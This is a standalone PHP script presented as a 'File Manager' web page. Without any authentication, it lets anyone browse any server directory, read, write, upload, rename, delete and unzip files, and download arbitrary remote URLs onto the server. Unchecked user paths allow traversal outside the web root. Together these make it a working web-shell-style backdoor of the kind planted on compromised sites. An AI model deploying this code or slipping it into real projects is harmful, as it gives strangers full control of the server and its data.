<?php
session_start();

$baseDirectory = __DIR__;
$allowRemoteDownload = true;

$currentDirectory = isset($_GET['dir']) ? $_GET['dir'] : '.';
$currentDirectory = realpath($currentDirectory) ?: realpath(__DIR__);

// Create folder
if (isset($_POST['create_folder'])) {
    $folderName = $_POST['folder_name'];
    $newFolderPath = $currentDirectory . '/' . $folderName;
    if (!is_dir($newFolderPath)) {
        mkdir($newFolderPath);
        echo "<script>alert('Folder created.');</script>";
    } else {
        echo "<script>alert('Folder already exists.');</script>";
    }
}

// Create file
if (isset($_POST['create_file'])) {
    $fileName = $_POST['file_name'];
    $fileContent = $_POST['file_content'];
    $newFilePath = $currentDirectory . '/' . $fileName;
    file_put_contents($newFilePath, $fileContent);
    echo "<script>alert('File created.');</script>";
}

// Upload file
if (isset($_FILES['upload_file'])) {
    $uploadedFile = $_FILES['upload_file'];
    $destination = $currentDirectory . '/' . basename($uploadedFile['name']);
    if (move_uploaded_file($uploadedFile['tmp_name'], $destination)) {
        echo "<script>alert('File uploaded.');</script>";
    } else {
        echo "<script>alert('Error uploading file.');</script>";
    }
}

// Rename item
if (isset($_POST['rename_item'])) {
    $oldName = $_POST['old_name'];
    $newName = $_POST['new_name'];
    if (rename($currentDirectory . '/' . $oldName, $currentDirectory . '/' . $newName)) {
        echo "<script>alert('Renamed.');</script>";
    } else {
        echo "<script>alert('Error renaming.');</script>";
    }
}

// Delete item
if (isset($_POST['delete_item'])) {
    $itemName = $_POST['item_name'];
    $itemPath = $currentDirectory . '/' . $itemName;
    if (is_dir($itemPath)) {
        rmdir($itemPath);
        echo "<script>alert('Deleted.');</script>";
    } elseif (is_file($itemPath)) {
        unlink($itemPath);
        echo "<script>alert('Deleted.');</script>";
    } else {
        echo "<script>alert('Not found.');</script>";
    }
}

// Unzip file
if (isset($_POST['unzip_file'])) {
    $zipFileName = $_POST['zip_file'];
    $zip = new ZipArchive;
    if ($zip->open($currentDirectory . '/' . $zipFileName) === TRUE) {
        $zip->extractTo($currentDirectory);
        $zip->close();
        echo "<script>alert('Unzipped.');</script>";
    } else {
        echo "<script>alert('Error unzipping.');</script>";
    }
}

// Fetch remote file
if (isset($_POST['fetch_remote_file']) && $allowRemoteDownload) {
    $remoteUrl = $_POST['remote_url'];
    $fileName = basename($remoteUrl);
    $localPath = $currentDirectory . '/' . $fileName;
    if (@file_put_contents($localPath, @file_get_contents($remoteUrl))) {
        echo "<script>alert('Downloaded.');</script>";
    } else {
        echo "<script>alert('Error downloading.');</script>";
    }
}

// View file content
if (isset($_GET['file'])) {
    $file = $_GET['file'];
    $filePath = $currentDirectory . '/' . $file;
    if (is_file($filePath)) {
        echo file_get_contents($filePath);
        exit;
    } else {
        echo "File not found.";
        exit;
    }
}

// Edit file
if (isset($_POST['edit_file'])) {
    $fileName = $_POST['file_name'];
    $fileContent = $_POST['file_content'];
    $filePath = $currentDirectory . '/' . $fileName;
    if (file_put_contents($filePath, $fileContent) !== false) {
        echo "<script>alert('File edited.');</script>";
    } else {
        echo "<script>alert('Error editing file.');</script>";
    }
}

// List directories and files
$items = scandir($currentDirectory);
$directories = [];
$files = [];
foreach ($items as $item) {
    if ($item === '.' || ($item === '..' && realpath($currentDirectory) === realpath(__DIR__))) continue;
    if (is_dir($currentDirectory . '/' . $item)) {
        $directories[] = $item;
    } else {
        $files[] = $item;
    }
}
sort($directories);
sort($files);

function formatSize($bytes) {
    if ($bytes >= 1073741824) {
        return number_format($bytes / 1073741824, 2) . ' GB';
    } elseif ($bytes >= 1048576) {
        return number_format($bytes / 1048576, 2) . ' MB';
    } elseif ($bytes >= 1024) {
        return number_format($bytes / 1024, 2) . ' KB';
    } elseif ($bytes > 1) {
        return $bytes . ' bytes';
    } elseif ($bytes == 1) {
        return '1 byte';
    } else {
        return '0 bytes';
    }
}

function generateBreadcrumbs($path) {
    $parts = explode(DIRECTORY_SEPARATOR, trim($path, DIRECTORY_SEPARATOR));
    $breadcrumbs = [];
    $currentPath = '';
    foreach ($parts as $part) {
        $currentPath .= DIRECTORY_SEPARATOR . $part;
        $breadcrumbs[] = '<a href="?dir=' . urlencode($currentPath) . '" class="text-blue-500 hover:underline">' . htmlspecialchars($part) . '</a>';
    }
    return implode(' / ', $breadcrumbs);
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>File Manager</title>
    <script src="https://cdn.tailwindcss.com"></script>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.3/css/all.min.css">
</head>
<body class="bg-gray-100 font-sans">
    <div class="min-h-screen flex flex-col">
        <header class="bg-gradient-to-r from-blue-600 to-indigo-600 text-white py-6">
            <div class="container mx-auto px-4">
                <h1 class="text-3xl font-bold">File Manager</h1>
                <nav class="mt-2">
                    <a href="?dir=<?php echo urlencode(realpath(__DIR__)); ?>" class="text-white hover:underline">Home</a> / <?php echo generateBreadcrumbs($currentDirectory); ?>
                </nav>
            </div>
        </header>
        <main class="container mx-auto px-4 py-8 flex-grow">
            <div class="bg-white rounded-lg shadow-lg p-6 mb-6">
                <h2 class="text-xl font-semibold mb-4">Directory: <?php echo htmlspecialchars($currentDirectory); ?></h2>
                <div class="grid grid-cols-1 md:grid-cols-3 gap-4 mb-6">
                    <div class="bg-gray-50 p-4 rounded-lg">
                        <h3 class="text-lg font-medium mb-2">New Folder</h3>
                        <form method="post" class="flex space-x-2">
                            <input type="text" name="folder_name" class="flex-grow p-2 border rounded-lg" placeholder="Folder name" required>
                            <button type="submit" name="create_folder" class="bg-blue-500 text-white px-4 py-2 rounded-lg hover:bg-blue-600">Create</button>
                        </form>
                    </div>
                    <div class="bg-gray-50 p-4 rounded-lg">
                        <h3 class="text-lg font-medium mb-2">Upload File</h3>
                        <form method="post" enctype="multipart/form-data" class="flex space-x-2">
                            <input type="file" name="upload_file" class="flex-grow p-2 border rounded-lg" required>
                            <button type="submit" class="bg-blue-500 text-white px-4 py-2 rounded-lg hover:bg-blue-600">Upload</button>
                        </form>
                    </div>
                    <div class="bg-gray-50 p-4 rounded-lg">
                        <h3 class="text-lg font-medium mb-2">Fetch Remote File</h3>
                        <form method="post" class="flex space-x-2">
                            <input type="url" name="remote_url" class="flex-grow p-2 border rounded-lg" placeholder="File URL" required>
                            <button type="submit" name="fetch_remote_file" class="bg-blue-500 text-white px-4 py-2 rounded-lg hover:bg-blue-600">Fetch</button>
                        </form>
                    </div>
                </div>
                <div class="overflow-x-auto">
                    <table class="w-full text-left">
                        <thead class="bg-gray-200">
                            <tr>
                                <th class="p-3">Name</th>
                                <th class="p-3">Size</th>
                                <th class="p-3">Writable</th>
                                <th class="p-3">Last Modified</th>
                                <th class="p-3">Actions</th>
                            </tr>
                        </thead>
                        <tbody>
                            <?php foreach ($directories as $dir): ?>
                            <tr class="border-b">
                                <td class="p-3"><i class="fas fa-folder mr-2 text-yellow-500"></i><a href="?dir=<?php echo urlencode($currentDirectory . '/' . $dir); ?>" class="text-blue-500 hover:underline"><?php echo htmlspecialchars($dir); ?></a></td>
                                <td class="p-3">-</td>
                                <td class="p-3"><?php echo is_writable($currentDirectory . '/' . $dir) ? 'Yes' : 'No'; ?></td>
                                <td class="p-3"><?php echo date("Y-m-d H:i:s", filemtime($currentDirectory . '/' . $dir)); ?></td>
                                <td class="p-3 flex space-x-2">
                                    <button onclick="renameItem('<?php echo htmlspecialchars($dir); ?>')" class="bg-blue-500 text-white px-3 py-1 rounded-lg hover:bg-blue-600">Rename</button>
                                    <button onclick="deleteItem('<?php echo htmlspecialchars($dir); ?>')" class="bg-red-500 text-white px-3 py-1 rounded-lg hover:bg-red-600">Delete</button>
                                </td>
                            </tr>
                            <?php endforeach; ?>
                            <?php foreach ($files as $file): ?>
                            <tr class="border-b">
                                <td class="p-3"><i class="fas fa-file mr-2 text-gray-500"></i><?php echo htmlspecialchars($file); ?></td>
                                <td class="p-3"><?php echo formatSize(filesize($currentDirectory . '/' . $file)); ?></td>
                                <td class="p-3"><?php echo is_writable($currentDirectory . '/' . $file) ? 'Yes' : 'No'; ?></td>
                                <td class="p-3"><?php echo date("Y-m-d H:i:s", filemtime($currentDirectory . '/' . $file)); ?></td>
                                <td class="p-3 flex space-x-2">
                                    <button onclick="editFile('<?php echo htmlspecialchars($file); ?>')" class="bg-green-500 text-white px-3 py-1 rounded-lg hover:bg-green-600">Edit</button>
                                    <button onclick="renameItem('<?php echo htmlspecialchars($file); ?>')" class="bg-blue-500 text-white px-3 py-1 rounded-lg hover:bg-blue-600">Rename</button>
                                    <button onclick="deleteItem('<?php echo htmlspecialchars($file); ?>')" class="bg-red-500 text-white px-3 py-1 rounded-lg hover:bg-red-600">Delete</button>
                                    <?php if (pathinfo($file, PATHINFO_EXTENSION) == 'zip'): ?>
                                    <form method="post" class="inline">
                                        <input type="hidden" name="zip_file" value="<?php echo htmlspecialchars($file); ?>">
                                        <button type="submit" name="unzip_file" class="bg-purple-500 text-white px-3 py-1 rounded-lg hover:bg-purple-600"><i class="fas fa-file-archive mr-1"></i>Unzip</button>
                                    </form>
                                    <?php endif; ?>
                                </td>
                            </tr>
                            <?php endforeach; ?>
                        </tbody>
                    </table>
                </div>
            </div>
        </main>
        <!-- Edit File Modal -->
        <div id="editModal" class="fixed inset-0 bg-black bg-opacity-50 flex items-center justify-center hidden">
            <div class="bg-white rounded-lg w-full max-w-2xl p-6">
                <div class="flex justify-between items-center mb-4">
                    <h3 class="text-lg font-semibold">Edit File</h3>
                    <button onclick="closeModal('editModal')" class="text-gray-500 hover:text-gray-700">&times;</button>
                </div>
                <form id="editForm" method="post">
                    <input type="hidden" id="editFileName" name="file_name">
                    <textarea id="editFileContent" name="file_content" class="w-full h-64 p-2 border rounded-lg"></textarea>
                    <div class="mt-4 flex justify-end space-x-2">
                        <button type="submit" name="edit_file" class="bg-green-500 text-white px-4 py-2 rounded-lg hover:bg-green-600">Save</button>
                        <button type="button" onclick="closeModal('editModal')" class="bg-gray-300 text-gray-700 px-4 py-2 rounded-lg hover:bg-gray-400">Cancel</button>
                    </div>
                </form>
            </div>
        </div>
        <!-- Rename Modal -->
        <div id="renameModal" class="fixed inset-0 bg-black bg-opacity-50 flex items-center justify-center hidden">
            <div class="bg-white rounded-lg w-full max-w-md p-6">
                <div class="flex justify-between items-center mb-4">
                    <h3 class="text-lg font-semibold">Rename Item</h3>
                    <button onclick="closeModal('renameModal')" class="text-gray-500 hover:text-gray-700">&times;</button>
                </div>
                <form id="renameForm" method="post">
                    <input type="hidden" id="oldItemName" name="old_name">
                    <label class="block mb-2">New Name:</label>
                    <input type="text" id="newItemName" name="new_name" class="w-full p-2 border rounded-lg" required>
                    <div class="mt-4 flex justify-end space-x-2">
                        <button type="submit" name="rename_item" class="bg-green-500 text-white px-4 py-2 rounded-lg hover:bg-green-600">Save</button>
                        <button type="button" onclick="closeModal('renameModal')" class="bg-gray-300 text-gray-700 px-4 py-2 rounded-lg hover:bg-gray-400">Cancel</button>
                    </div>
                </form>
            </div>
        </div>
    </div>
    <script>
        function editFile(fileName) {
            fetch('?dir=<?php echo urlencode($currentDirectory); ?>&file=' + encodeURIComponent(fileName))
                .then(response => response.text())
                .then(content => {
                    document.getElementById('editFileName').value = fileName;
                    document.getElementById('editFileContent').value = content;
                    openModal('editModal');
                });
        }
        function renameItem(itemName) {
            document.getElementById('oldItemName').value = itemName;
            document.getElementById('newItemName').value = itemName;
            openModal('renameModal');
        }
        function deleteItem(itemName) {
            if (confirm('Are you sure you want to delete this item?')) {
                let form = document.createElement('form');
                form.method = 'post';
                form.innerHTML = `
                    <input type="hidden" name="item_name" value="${itemName}">
                    <input type="hidden" name="delete_item" value="1">
                `;
                document.body.appendChild(form);
                form.submit();
            }
        }
        function openModal(modalId) {
            document.getElementById(modalId).classList.remove('hidden');
        }
        function closeModal(modalId) {
            document.getElementById(modalId).classList.add('hidden');
        }
    </script>
</body>
</html>